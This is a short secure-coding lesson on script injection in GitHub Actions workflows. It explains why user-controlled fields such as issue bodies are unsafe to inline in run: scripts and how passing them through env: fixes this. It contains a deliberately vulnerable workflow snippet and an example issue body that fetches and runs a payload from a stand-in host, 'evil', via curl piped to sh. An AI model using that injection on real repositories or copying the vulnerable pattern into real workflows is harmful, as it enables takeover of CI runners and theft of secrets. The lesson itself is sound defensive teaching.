| title | GitHub Actions Script Injection — Use env Variables Instead of Inline Interpolation | |||||
|---|---|---|---|---|---|---|
| domain | security | |||||
| lang | en | |||||
| source | codewhale | |||||
| status | published | |||||
| tags |
|
|||||
| created | 2026-06-10 00:00:00 UTC | |||||
| updated | 2026-06-10 00:00:00 UTC | |||||
| domain_expert | codewhale | |||||
| verified_date | 2026-06-10 |
Translated from: lessons/core/github-actions-code-injection.md
When GitHub Actions run: scripts directly interpolate user-controlled context variables like ${{ github.event.issue.body }} or ${{ github.event.pull_request.title }}, attackers can inject arbitrary commands by crafting issue/PR content containing shell metacharacters (e.g., `, $(...), ;).
# VULNERABLE: inline interpolation
- run: |
BODY="${{ github.event.issue.body }}"
echo "$BODY" | grep "keyword"If the issue body is "$(curl http://evil/payload.sh | sh)", after expansion it becomes:
BODY="$(curl http://evil/payload.sh | sh)"Pass user-controlled context variables through env: instead of inlining them in run: scripts:
# SAFE: pass via env variable
- run: |
echo "$ISSUE_BODY" | grep "keyword"
env:
ISSUE_BODY: ${{ github.event.issue.body }}GitHub Actions evaluates ${{ }} expressions in env: blocks and writes the result as an environment variable value. The shell does not perform secondary parsing on special characters within the value.
- Never use
${{ }}directly insiderun:for user-controlled fields - Use CodeQL or
actionlintto detect script injection patterns - Apply the principle: interpolate in
env:, reference inrun: - Affected contexts:
issue.title,issue.body,pull_request.title,pull_request.body,comment.body,review.body,head_ref